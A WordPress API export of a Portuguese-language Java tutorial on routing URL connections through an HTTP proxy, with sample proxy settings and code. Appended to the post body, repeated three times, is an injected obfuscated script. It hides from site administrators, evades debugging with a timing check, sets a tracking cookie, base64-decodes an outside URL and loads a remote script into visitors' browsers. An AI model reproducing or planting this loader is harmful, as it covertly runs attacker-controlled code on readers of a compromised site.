{"id":605,"date":"2010-10-07T12:00:53","date_gmt":"2010-10-07T15:00:53","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=605"},"modified":"2025-10-26T22:42:51","modified_gmt":"2025-10-27T01:42:51","slug":"acesso-a-url-atraves-de-proxy","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/07\/acesso-a-url-atraves-de-proxy\/","title":{"rendered":"Acesso a URL atrav\u00e9s de Proxy"},"content":{"rendered":"<p style=\"text-align: justify;\">Em um projeto necessitei disponibilizar um portlet de Twitter para que os funcion\u00e1rios pudessem consultar as novidades da empresa. O problema \u00e9 que o Twitter \u00e9 bloqueado em toda a empresa. A solu\u00e7\u00e3o foi utilizar um proxy que liberava o acesso somente no servidor. Para n\u00e3o alterar o servidor e utilizar somente na aplica\u00e7\u00e3o temos algumas op\u00e7\u00f5es: passando par\u00e2metros para a aplica\u00e7\u00e3o ou realizando de forma program\u00e1tica.<\/p>\n<p style=\"text-align: justify;\">A solu\u00e7\u00e3o mais simples \u00e9 passar como propriedade de sistema para a aplica\u00e7\u00e3o com os seguinte par\u00e2metros:<\/p>\n<ul>\n<li><strong>http.proxyHost<\/strong>: Endere\u00e7o do proxy<\/li>\n<li><strong>http.proxyPort<\/strong>: Porta do proxy, se n\u00e3o especificada o valor padr\u00e3o \u00e9 80<\/li>\n<li><strong>http.nonProxyHosts<\/strong>: Endere\u00e7os que n\u00e3o ser\u00e3o passados pelo proxy. Podem ser usados curingas<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">A documenta\u00e7\u00e3o desses par\u00e2metros, inclusive para ftp, pode ser encontrada em: <a title=\"Propriedades network\" href=\"http:\/\/download.oracle.com\/javase\/6\/docs\/technotes\/guides\/net\/properties.html\" target=\"_blank\" rel=\"noopener\">http:\/\/download.oracle.com\/javase\/6\/docs\/technotes\/guides\/net\/properties.html<\/a><\/p>\n<p style=\"text-align: justify;\">Para passar os par\u00e2metros na sua aplica\u00e7\u00e3o \u00e9 s\u00f3 usar o -D. Como por exemplo: java -Dhttp.proxyHost=192.168.1.100 -Dhttp.proxyPort=3214 br.com.thiagovespa.sample.proxy.MinhaApp<\/p>\n<p style=\"text-align: justify;\">Outra maneira \u00e9 setar esses par\u00e2metros via c\u00f3digo:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\nSystem.setProperty(&quot;http.proxyHost&quot;, &quot;192.168.1.100&quot;);\nSystem.setProperty(&quot;http.proxyPort&quot;;, &quot;3214&quot;);\n<\/pre>\n<p style=\"text-align: justify;\">Uma vez setado, vale para toda a aplica\u00e7\u00e3o. Como a altera\u00e7\u00e3o no c\u00f3digo que eu precisava era espec\u00edfico para Twitter e queria controlar isso programaticamente, procurei um pouco e encontrei um recurso novo na API do Java 5: a classe <a title=\"Proxy\" href=\"http:\/\/docs.oracle.com\/javase\/1.5.0\/docs\/api\/java\/lang\/reflect\/Proxy.html\" target=\"_blank\" rel=\"noopener\">Proxy<\/a>. Ao buscar no Google voc\u00ea encontrar\u00e1 v\u00e1rios sites explicando como fazer o mesmo com o <a title=\"HttpClient da Apache\" href=\"http:\/\/hc.apache.org\/httpcomponents-client-ga\/\" target=\"_blank\" rel=\"noopener\">commons httpclient da Apache<\/a>, mas a solu\u00e7\u00e3o disponibilizada no Java 5 \u00e9 suficiente e elegante.<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\nProxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(&quot;192.168.1.100&quot;, 3214));\nURL url = new URL(&quot;http:\/\/www.thiagovespa.com.br&quot;);\nHttpURLConnection uc = (HttpURLConnection)url.openConnection(proxy);\nuc.connect();\n\/\/ ...\n<\/pre>\n<p>Simples e funcional! \ud83d\ude42<\/p>\n<p style=\"text-align: justify;\">\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Em um projeto necessitei disponibilizar um portlet de Twitter para que os funcion\u00e1rios pudessem consultar as novidades da empresa. O problema \u00e9 que o Twitter \u00e9 bloqueado em toda a empresa. A solu\u00e7\u00e3o foi utilizar um proxy que liberava o <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/07\/acesso-a-url-atraves-de-proxy\/\">Continue lendo  <span class=\"screen-reader-text\">  Acesso a URL atrav\u00e9s de Proxy<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-605","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/605","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=605"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/605\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=605"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=605"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=605"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}